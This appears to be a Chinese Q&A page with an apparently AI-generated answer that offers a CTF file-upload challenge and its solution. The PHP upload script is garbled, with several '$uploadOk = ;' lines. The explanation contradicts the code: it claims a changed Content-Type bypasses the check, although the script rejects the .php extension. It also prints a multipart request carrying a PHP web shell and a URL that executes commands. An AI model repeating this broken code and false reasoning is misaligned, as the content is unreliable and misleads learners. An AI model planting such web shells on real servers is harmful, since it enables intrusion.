找一道ctf web方向一道文件上传的题,并给出代码以及解决方法
时间: 2023-03-24 10:04:17 浏览: 182
我可以回答这个问题。这里有一道ctf web方向的文件上传题目的代码和解决方法:
代码:
```php
<?php
if(isset($_POST['submit'])){
$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
$uploadOk = 1;
$imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));
if(isset($_POST["submit"])) {
$check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
if($check !== false) {
echo "File is an image - " . $check["mime"] . ".";
$uploadOk = 1;
} else {
echo "File is not an image.";
$uploadOk = ;
}
}
if (file_exists($target_file)) {
echo "Sorry, file already exists.";
$uploadOk = ;
}
if ($_FILES["fileToUpload"]["size"] > 500000) {
echo "Sorry, your file is too large.";
$uploadOk = ;
}
if($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != "jpeg"
&& $imageFileType != "gif" ) {
echo "Sorry, only JPG, JPEG, PNG & GIF files are allowed.";
$uploadOk = ;
}
if ($uploadOk == ) {
echo "Sorry, your file was not uploaded.";
} else {
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
echo "The file ". basename( $_FILES["fileToUpload"]["name"]). " has been uploaded.";
} else {
echo "Sorry, there was an error uploading your file.";
}
}
}
?>
<!DOCTYPE html>
<html>
<body>
<form action="" method="post" enctype="multipart/form-data">
Select image to upload:
<input type="file" name="fileToUpload" id="fileToUpload">
<input type="submit" value="Upload Image" name="submit">
</form>
</body>
</html>
```
解决方法:
这道题目的漏洞在于没有对上传的文件进行类型检查,只是简单地检查了文件的后缀名。攻击者可以通过修改文件的Content-Type来绕过这个检查。因此,我们可以通过修改Content-Type来上传一个包含恶意代码的文件,然后执行这个文件来获取flag。
具体步骤如下:
1. 上传一个包含恶意代码的文件,如下所示:
```
------WebKitFormBoundary7MA4YWxkTrZugW
Content-Disposition: form-data; name="fileToUpload"; filename="shell.php"
Content-Type: image/jpeg
<?php echo system($_GET['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZugW--
```
2. 修改Content-Type为`image/jpeg`,然后提交表单。
3. 访问上传的文件,执行恶意代码,如下所示:
```
http://example.com/uploads/shell.php?cmd=ls
```
这样就可以获取flag了。
阅读全文